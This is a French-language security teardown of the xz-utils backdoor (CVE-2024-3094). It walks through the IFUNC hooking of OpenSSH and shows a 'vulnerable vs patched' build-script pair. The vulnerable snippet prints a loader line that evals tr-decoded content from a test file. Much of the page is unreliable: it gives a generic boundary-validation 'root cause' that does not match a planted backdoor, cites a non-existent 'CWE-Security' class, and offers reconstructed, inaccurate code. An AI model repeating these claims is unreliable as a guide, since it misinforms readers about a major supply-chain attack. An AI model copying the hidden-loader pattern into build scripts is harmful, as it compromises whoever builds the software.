flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · Critique
Recherche · FlawOpen

CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

Analyse technique du code source de CVE-2024-3094 : comment des modifications malveillantes du résolveur IFUNC dans liblzma ont subverti l'authentification OpenSSH.

💡 Explication en Langage Simple (ELI5)

Imaginez qu'une banque construise un coffre-fort avec des tuyaux de plomberie standard. Les plans officiels sont irréprochables. Mais l'ouvrier qui emballe les caisses de livraison glisse un fil électronique invisible dans le tuyau. Lorsque le tuyau est vissé dans le coffre sous Linux, ce fil se branche sur la serrure principale de la banque (OpenSSH), permettant à l'ouvrier d'ouvrir le coffre à tout moment avec une télécommande secrète. Dans le CVE-2024-3094, la porte dérobée a été dissimulée dans les scripts de build des archives officielles pour accorder un accès root non authentifié via SSH.

Concepts Clés et Termes

Open Source Systems
Composant d'architecture clé affecté par CWE-Security.
CWE-Security
Classification standard Common Weakness Enumeration (CWE) pour cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
Vérification d'ingénierie multicouche et isolation des limites à l'exécution.

Analyse de Cause Racine

La cause fondamentale provient de paramètres de limites non validés dans les systèmes open source, permettant une désynchronisation d'état et le contournement des contrôles de sécurité.

Déroulement de l'Attaque Étape par Étape

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

Code Source : Vulnérable vs Sécurisé

✕ IMPLÉMENTATION VULNÉRABLE
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ PATCH SÉCURISÉ ET ROBUSTE
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

Liste de Contrôle de Sécurité pour l'Ingénierie